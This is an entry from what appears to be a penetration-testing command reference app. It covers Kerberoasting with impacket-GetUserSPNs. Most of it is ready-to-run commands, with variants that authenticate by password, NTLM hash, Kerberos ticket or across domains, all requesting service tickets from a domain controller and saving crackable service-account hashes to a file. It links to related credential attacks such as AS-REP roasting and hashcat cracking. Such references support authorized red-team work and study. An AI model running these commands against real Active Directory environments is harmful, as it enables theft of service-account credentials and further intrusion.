Impacket Kerberoast
Extract service account hashes via Kerberoasting
- Tool
- impacket-GetUserSPNs
- Category
- Credential Attacks / Kerberoasting
- Platform
- linux
- Requires
- password
- Protocols
- KERBEROS
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-GetUserSPNs -request -dc-ip '<ip>' '<domain>/<user>:<password>' -outputfile kerberoasting.hashes
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-GetUserSPNs -request -dc-ip '<ip>' -hashes ':<hash>' '<domain>/<user>' -outputfile kerberoasting.hashes
Kerberos Ticket requires Kerberos ticket
impacket-GetUserSPNs -request -dc-ip '<ip>' -k -no-pass '<domain>/<user>' -outputfile kerberoasting.hashes
Cross-Domain requires password
impacket-GetUserSPNs -request '<domain>/<user>:<password>' -outputfile kerberoasting.hashes -target-domain '<target_domain>'
Examples
impacket-GetUserSPNs -request -dc-ip '192.168.1.100' 'CORP/user:password' -outputfile kerberoasting.hashes
Tags
Related commands
- Hashcat Kerberoast Crack Crack Kerberoasting hashes
- Impacket AS-REP Roast AS-REP Roasting for accounts without Kerberos Pre-Authentication
- Impacket Get TGT Get TGT to be used in Kerberos authentication
- Impacket KeyListAttack Abuse RODC (Read-Only DC) credential caching to retrieve hashes for accounts cached on…
- Impacket Targeted Kerberoast Request a TGS only for a specific service account instead of every kerberoastable user…
- NetExec LDAP AS-REP Roasting Request AS-REP responses for every account with DONT_REQ_PREAUTH set and write hashes to…
- NetExec LDAP Kerberoasting Request TGS tickets for every account with a SPN and write hashes to a file ready for…
- NetExec LDAP Pre-Windows 2000 Accounts Enumerate pre-Windows 2000 compatible computer accounts that use the hostname as password